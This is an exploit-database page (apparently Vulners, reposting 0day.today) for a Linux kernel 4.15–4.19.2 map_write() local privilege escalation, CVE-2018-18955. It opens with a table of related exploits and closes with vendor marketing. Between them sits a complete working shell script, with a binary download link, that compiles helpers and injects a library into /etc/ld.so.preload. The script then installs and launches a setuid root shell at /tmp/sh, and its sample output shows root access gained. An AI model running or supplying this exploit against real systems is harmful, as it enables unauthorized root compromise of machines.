Linux Kernel 4.15.x < 4.19.2 - map_write() CAP_SYS_ADMIN Local Privilege Escalation (ldpreload)
| Reporter | Title | Published | Views | Family All 70 |
|---|---|---|---|---|
| Exploit for Use After Free in Linux Linux_Kernel | 27 Jul 202504:09 | – | gitee | |
| Exploit for Use After Free in Linux Linux_Kernel | 14 Jan 202020:53 | – | gitee | |
| Exploit for Use After Free in Linux Linux_Kernel | 3 Sep 202123:29 | – | gitee | |
| Linux - Broken uid/gid Mapping for Nested User Namespaces Exploit | 16 Nov 201800:00 | – | zdt | |
| Linux Nested User Namespace idmap Limit Local Privilege Escalation Exploit | 28 Nov 201800:00 | – | zdt | |
| Linux Kernel 4.15.x < 4.19.2 - map_write() CAP_SYS_ADMIN Local Privilege Escalation (cron Method) | 26 Jul 201900:00 | – | zdt | |
| Linux Kernel 4.15.x < 4.19.2 - map_write() CAP_SYS_ADMIN Local Privilege Escalation Exploit | 26 Jul 201900:00 | – | zdt | |
| Linux Kernel 4.15.x < 4.19.2 - map_write() CAP_SYS_ADMIN Local Privilege Escalation (polkit) | 26 Jul 201900:00 | – | zdt | |
| Linux kernel user_namespace map_write Heap Buffer Overflow DoS | 5 Feb 201900:00 | – | bdu_fstec | |
| Exploit for Incorrect Authorization in Linux Linux_Kernel | 19 Jan 202214:47 | – | githubexploit |
10
#!/bin/sh
#
# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47166.zip
#
# wrapper for Jann Horn's exploit for CVE-2018-18955
# uses ld.so.preload technique
# ---
# [email protected]:~/kernel-exploits/CVE-2018-18955$ ./exploit.ldpreload.sh
# [*] Compiling...
# [*] Adding libsubuid.so to /etc/ld.so.preload...
# [.] starting
# [.] setting up namespace
# [~] done, namespace sandbox set up
# [.] mapping subordinate ids
# [.] subuid: 165536
# [.] subgid: 165536
# [~] done, mapped subordinate ids
# [.] executing subshell
# [+] Success:
# -rwsrwxr-x 1 root root 8384 Nov 21 19:07 /tmp/sh
# [*] Launching root shell: /tmp/sh
# [email protected]:~/kernel-exploits/CVE-2018-18955# id
# uid=0(root) gid=0(root) groups=0(root),1001(test)
rootshell="/tmp/sh"
lib="libsubuid.so"
command_exists() {
command -v "${1}" >/dev/null 2>/dev/null
}
if ! command_exists gcc; then
echo '[-] gcc is not installed'
exit 1
fi
if ! command_exists /usr/bin/newuidmap; then
echo '[-] newuidmap is not installed'
exit 1
fi
if ! command_exists /usr/bin/newgidmap; then
echo '[-] newgidmap is not installed'
exit 1
fi
if ! test -w .; then
echo '[-] working directory is not writable'
exit 1
fi
echo "[*] Compiling..."
if ! gcc subuid_shell.c -o subuid_shell; then
echo 'Compiling subuid_shell.c failed'
exit 1
fi
if ! gcc subshell.c -o subshell; then
echo 'Compiling gcc_subshell.c failed'
exit 1
fi
if ! gcc rootshell.c -o "${rootshell}"; then
echo 'Compiling rootshell.c failed'
exit 1
fi
if ! gcc libsubuid.c -fPIC -shared -o "${lib}"; then
echo 'Compiling libsubuid.c failed'
exit 1
fi
echo "[*] Adding ${lib} to /etc/ld.so.preload..."
echo "cp ${lib} /lib/; echo /lib/${lib} > /etc/ld.so.preload" | ./subuid_shell ./subshell
/usr/bin/newuidmap
if ! test -u "${rootshell}"; then
echo '[-] Failed'
/bin/rm "${rootshell}"
exit 1
fi
echo '[+] Success:'
/bin/ls -la "${rootshell}"
echo '[*] Cleaning up...'
/bin/rm subuid_shell
/bin/rm subshell
echo "/bin/rm /lib/${lib}" | $rootshell
echo "[*] Launching root shell: ${rootshell}"
$rootshell
# 0day.today [2019-12-04] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Jul 2019 00:00Current
EPSS0.07673